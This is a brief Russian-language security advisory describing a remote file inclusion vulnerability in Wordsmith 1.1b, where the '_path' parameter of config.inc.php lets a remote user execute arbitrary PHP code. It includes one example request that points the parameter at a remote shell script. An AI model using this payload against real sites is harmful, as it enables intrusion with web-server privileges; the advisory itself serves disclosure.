Программа: Wordsmith 1.1b

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «_path» сценарием config.inc.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Пример:

http://domain.com/Script_Path/config.inc.php?_path=http://shell.txt?



Оставить мнение